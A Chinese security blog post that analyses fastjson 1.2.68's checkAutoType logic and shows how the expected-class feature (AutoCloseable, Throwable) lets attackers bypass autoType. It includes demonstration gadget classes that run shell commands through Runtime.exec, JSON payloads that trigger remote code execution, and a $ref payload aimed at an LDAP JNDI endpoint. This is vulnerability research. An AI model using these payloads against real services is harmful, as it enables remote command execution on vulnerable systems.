fastjson 1.2.68 bypass autotype

Share on:

基于期望类的特性

分析

com.alibaba.fastjson.parser.ParserConfig#checkAutoType(String typeName, Class<?> expectClass, int features)方法有三个参数分别是

  1. typeName 被序列化的类名
  2. expectClass 期望类
  3. features值

具体看下校验过程

首先判断非空和安全模式以及typename长度来决定是否进行autotype。

 1        if (typeName == null) {
 2            return null;
 3        }
 4
 5        if (autoTypeCheckHandlers != null) {
 6            for (AutoTypeCheckHandler h : autoTypeCheckHandlers) {
 7                Class<?> type = h.handler(typeName, expectClass, features);
 8                if (type != null) {
 9                    return type;
10                }
11            }
12        }
13
14        final int safeModeMask = Feature.SafeMode.mask;
15        boolean safeMode = this.safeMode
16                || (features & safeModeMask) != 0
17                || (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
18        if (safeMode) {
19            throw new JSONException("safeMode not support autoType : " + typeName);
20        }
21
22        if (typeName.length() >= 192 || typeName.length() < 3) {
23            throw new JSONException("autoType is not support. " + typeName);
24        }

然后判断期望类

 1        final boolean expectClassFlag;
 2        if (expectClass == null) {
 3            expectClassFlag = false;
 4        } else {
 5            if (expectClass == Object.class
 6                    || expectClass == Serializable.class
 7                    || expectClass == Cloneable.class
 8                    || expectClass == Closeable.class
 9                    || expectClass == EventListener.class
10                    || expectClass == Iterable.class
11                    || expectClass == Collection.class
12                    ) {
13                expectClassFlag = false;
14            } else {
15                expectClassFlag = true;
16            }
17        }

Object、Serializable、Cloneable、Closeable、EventListener、Iterable、Collection这几个类不能作为expectClass期望类。

然后计算hash进行内部白名单、黑名单匹配

 1        String className = typeName.replace('$', '.');
 2        Class<?> clazz;
 3
 4        final long BASIC = 0xcbf29ce484222325L;
 5        final long PRIME = 0x100000001b3L;
 6
 7        final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
 8        if (h1 == 0xaf64164c86024f1aL) { // [
 9            throw new JSONException("autoType is not support. " + typeName);
10        }
11
12        if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
13            throw new JSONException("autoType is not support. " + typeName);
14        }
15
16        final long h3 = (((((BASIC ^ className.charAt(0))
17                * PRIME)
18                ^ className.charAt(1))
19                * PRIME)
20                ^ className.charAt(2))
21                * PRIME;
22
23        long fullHash = TypeUtils.fnv1a_64(className);
24        boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,  fullHash) >= 0;
25
26        if (internalDenyHashCodes != null) {
27            long hash = h3;
28            for (int i = 3; i < className.length(); ++i) {
29                hash ^= className.charAt(i);
30                hash *= PRIME;
31                if (Arrays.binarySearch(internalDenyHashCodes, hash) >= 0) {
32                    throw new JSONException("autoType is not support. " + typeName);
33                }
34            }
35        }
36
37        if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
38            long hash = h3;
39            for (int i = 3; i < className.length(); ++i) {
40                hash ^= className.charAt(i);
41                hash *= PRIME;
42                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
43                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
44                    if (clazz != null) {
45                        return clazz;
46                    }
47                }
48                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
49                    if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
50                        continue;
51                    }
52
53                    throw new JSONException("autoType is not support. " + typeName);
54                }
55            }
56        }

如果(!internalWhite) && (autoTypeSupport || expectClassFlag)不在内部白名单中并且开启autoTypeSupport或者有期望类时,进行hash校验白名单acceptHashCodes、黑名单denyHashCodes,在白名单内就加载,在黑名单中就抛出异常。继续

 1        clazz = TypeUtils.getClassFromMapping(typeName);
 2
 3        if (clazz == null) {
 4            clazz = deserializers.findClass(typeName);
 5        }
 6
 7        if (clazz == null) {
 8            clazz = typeMapping.get(typeName);
 9        }
10
11        if (internalWhite) {
12            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
13        }
14
15        if (clazz != null) {
16            if (expectClass != null
17                    && clazz != java.util.HashMap.class
18                    && !expectClass.isAssignableFrom(clazz)) {
19                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
20            }
21
22            return clazz;
23        }

分别从getClassFromMapping、deserializers.findClass、typeMapping、internalWhite内部白名单中查找类,如果开启了expectClass期望类还要判断类型是否一致。

getClassFromMapping在com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings被赋值,添加了一些基本类,后续会当作缓存使用。 image.png 这里先注意下java.lang.AutoCloseable类。

deserializers.findClass是在com.alibaba.fastjson.parser.ParserConfig#initDeserializers初始化。 image.png 也是存放了一些特殊类用来直接反序列化。

typeMapping默认为空需要开发自己赋值,形如

1ParserConfig.getGlobalInstance().register("test", Model.class);

internalWhite内部白名单就不说了,到这里已经可以返回类了,通过java.net.Inet6Addressjava.net.URL等来判断fastjson也是这个原理。

然后继续走就到了autoTypeSupport的校验。

 1        if (!autoTypeSupport) {
 2            long hash = h3;
 3            for (int i = 3; i < className.length(); ++i) {
 4                char c = className.charAt(i);
 5                hash ^= c;
 6                hash *= PRIME;
 7
 8                if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
 9                    throw new JSONException("autoType is not support. " + typeName);
10                }
11
12                // white list
13                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
14                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
15
16                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
17                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
18                    }
19
20                    return clazz;
21                }
22            }
23        }

黑白名单匹配。

继续判断使用注解JSONType的类

 1        boolean jsonType = false;
 2        InputStream is = null;
 3        try {
 4            String resource = typeName.replace('.', '/') + ".class";
 5            if (defaultClassLoader != null) {
 6                is = defaultClassLoader.getResourceAsStream(resource);
 7            } else {
 8                is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
 9            }
10            if (is != null) {
11                ClassReader classReader = new ClassReader(is, true);
12                TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
13                classReader.accept(visitor);
14                jsonType = visitor.hasJsonType();
15            }
16        } catch (Exception e) {
17            // skip
18        } finally {
19            IOUtils.close(is);
20        }

继续

 1        final int mask = Feature.SupportAutoType.mask;
 2        boolean autoTypeSupport = this.autoTypeSupport
 3                || (features & mask) != 0
 4                || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
 5
 6        if (autoTypeSupport || jsonType || expectClassFlag) {
 7            boolean cacheClass = autoTypeSupport || jsonType;
 8            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
 9        }
10
11        if (clazz != null) {
12            if (jsonType) {
13                TypeUtils.addMapping(typeName, clazz);
14                return clazz;
15            }
16
17            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
18                    || javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
19                    || javax.sql.RowSet.class.isAssignableFrom(clazz) //
20                    ) {
21                throw new JSONException("autoType is not support. " + typeName);
22            }
23
24            if (expectClass != null) {
25                if (expectClass.isAssignableFrom(clazz)) {
26                    TypeUtils.addMapping(typeName, clazz);
27                    return clazz;
28                } else {
29                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
30                }
31            }
32
33            JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
34            if (beanInfo.creatorConstructor != null && autoTypeSupport) {
35                throw new JSONException("autoType is not support. " + typeName);
36            }
37        }

如果有注解,则加入mapping缓存并直接返回。如果没有注解判断clazz类是否继承或实现classloader、dataSource、RowSet,抛出异常防止jndi注入。

如果expectClass期望类不为空,则需要加载的类是期望类的子类或实现,并直接返回,否则异常。

如果类使用JSONCreator注解并且开启autoTypeSupport,抛出异常。

最后就是判断是否开启autoTypeSupport特性,将clazz添加进缓存,并且return clazz。

1        if (!autoTypeSupport) {
2            throw new JSONException("autoType is not support. " + typeName);
3        }
4
5        if (clazz != null) {
6            TypeUtils.addMapping(typeName, clazz);
7        }

可以看到主要有如下种情况可以直接返回class

TypeUtils.mappings mappings缓存1.2.47中就被绕过了一次autotype。而这次绕过是在于exceptClass期望类这个功能。

期望类的功能主要是实现/继承了期望类的class能被反序列化出来(并且不受autotype影响),寻找checkAutoType方法的调用,要求exceptClass不为空。

image.png

只有两个类JavaBeanDeserializerThrowableDeserializer中调用了checkAutoType并且exceptClass不为空。

com/alibaba/fastjson/parser/ParserConfig.java:826中对一些基本的类型设置了对应的反序列化实例deserializer image.png ThrowableDeserializer是Throwable用来反序列化异常类的,当没有命中之前程序给定的类型时会进入createJavaBeanDeserializer(),其实就是JavaBeanDeserializer。

先看ThrowableDeserializer中 image.png

根据第二个@type获取类,并且传入指定期望类进行加载。因此可以反序列化继承Throwable的异常类,借助setter、getter等方法的自动调用,来挖掘gadget。浅蓝师傅给了一个gadget

 1package org.chabug.fastjson.exploit;
 2
 3import java.io.IOException;
 4
 5public class ExecException extends Exception {
 6
 7    private String domain;
 8
 9    public ExecException() {
10        super();
11    }
12
13    public String getDomain() {
14        return domain;
15    }
16
17    public void setDomain(String domain) {
18        this.domain = domain;
19    }
20
21    @Override
22    public String getMessage() {
23        try {
24            Runtime.getRuntime().exec(new String[]{"cmd", "/c", "ping " + domain});
25        } catch (IOException e) {
26            return e.getMessage();
27        }
28
29        return super.getMessage();
30    }
31}

提交json触发rce

1{
2  "@type":"java.lang.Exception",
3  "@type": "org.chabug.fastjson.exploit.ExecException",
4  "domain": "y4er.com | calc"
5}

当然很少有开发者把命令执行写道异常类处理中,所以Throwable鸡肋。

再来看JavaBeanDeserializer,在fastjson中对大部分类都指定了特定的deserializer,而AutoCloseable类没有,通过继承/实现AutoCloseable的类可以绕过autotype反序列化。场景如下:

 1package org.chabug.fastjson.exploit;
 2
 3import java.io.Closeable;
 4import java.io.IOException;
 5
 6public class ExecCloseable implements Closeable {
 7    private String domain;
 8
 9    public ExecCloseable() {
10    }
11
12    public ExecCloseable(String domain) {
13        this.domain = domain;
14    }
15
16    public String getDomain() {
17        try {
18            Runtime.getRuntime().exec(new String[]{"cmd", "/c", "ping " + domain});
19        } catch (IOException e) {
20            e.printStackTrace();
21        }
22        return domain;
23    }
24
25    public void setDomain(String domain) {
26        this.domain = domain;
27    }
28
29    @Override
30    public void close() throws IOException {
31
32    }
33}

提交json触发rce

1{
2  "@type":"java.lang.AutoCloseable",
3  "@type": "org.chabug.fastjson.exploit.ExecCloseable",
4  "domain": "y4er.com | calc"
5}

fastjson在黑名单中还加上了java.lang.Runnable、java.lang.Readable,这个利用场景拿Runnable举个例子

 1package org.chabug.fastjson.exploit;
 2
 3import java.io.IOException;
 4
 5public class ExecRunnable implements AutoCloseable {
 6    private EvalRunnable eval;
 7
 8    public EvalRunnable getEval() {
 9        return eval;
10    }
11
12    public void setEval(EvalRunnable eval) {
13        this.eval = eval;
14    }
15
16    @Override
17    public void close() throws Exception {
18
19    }
20}
21
22class EvalRunnable implements Runnable {
23    private String cmd;
24
25    public String getCmd() {
26        System.out.println("EvalRunnable getCmd() "+cmd);
27        try {
28            Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd});
29        } catch (IOException e) {
30            e.printStackTrace();
31        }
32        return cmd;
33    }
34
35    public void setCmd(String cmd) {
36        this.cmd = cmd;
37    }
38
39    @Override
40    public void run() {
41
42    }
43}
1{
2  "@type":"java.lang.AutoCloseable",
3  "@type": "org.chabug.fastjson.exploit.ExecRunnable",
4  "eval":{"@type":"org.chabug.fastjson.exploit.EvalRunnable","cmd":"calc"}
5}

Readable同理。

拓展使用$ref拓展攻击面,使用parse()解析的也能触发任意getter。这个payload来自 @threedr3am

 1package org.chabug.fastjson.exploit;
 2
 3import com.alibaba.fastjson.JSON;
 4import org.apache.shiro.jndi.JndiLocator;
 5import org.apache.shiro.util.Factory;
 6
 7import javax.naming.NamingException;
 8
 9public class RefAnyGetterInvoke<T> extends JndiLocator implements Factory<T>, AutoCloseable {
10    private String resourceName;
11
12    public RefAnyGetterInvoke() {
13    }
14
15    public static void main(String[] args) {
16        String json = "{\n" +
17                "  \"@type\":\"java.lang.AutoCloseable\",\n" +
18                "  \"@type\": \"org.chabug.fastjson.exploit.RefAnyGetterInvoke\",\n" +
19                "  \"resourceName\": \"ldap://localhost:1389/Calc\",\n" +
20                "  \"instance\": {\n" +
21                "    \"$ref\": \"$.instance\"\n" +
22                "  }\n" +
23                "}";
24        System.out.println(json);
25        JSON.parse(json);   // 默认不会调用getter 使用$ref就可以调用到getInstance()
26//        JSON.parseObject(json); // parseObject默认就会调用getter getInstance()
27    }
28
29    public T getInstance() {
30        System.out.println(getClass().getName() + ".getInstance() invoke.");
31        try {
32            return (T) this.lookup(this.resourceName);
33        } catch (NamingException var3) {
34            throw new IllegalStateException("Unable to look up with jndi name '" + this.resourceName + "'.", var3);
35        }
36    }
37
38    public String getResourceName() {
39        System.out.println(getClass().getName() + ".getResourceName() invoke.");
40        return this.resourceName;
41    }
42
43    public void setResourceName(String resourceName) {
44        System.out.println(getClass().getName() + ".setResourceName() invoke.");
45        this.resourceName = resourceName;
46    }
47
48    @Override
49    public void close() throws Exception {
50
51    }
52}

gadget

1 if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
2                    || javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
3                    || javax.sql.RowSet.class.isAssignableFrom(clazz) //
4                    ) {
5                throw new JSONException("autoType is not support. " + typeName);
6            }

因为这几行代码的限制,大部分的JNDI gadget都不能用了,需要找到一条基于AutoCloseable的新gadget。浅蓝师傅给的思路是挖掘文件读写操作。我还在挖掘中,欢迎各位师傅交流。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。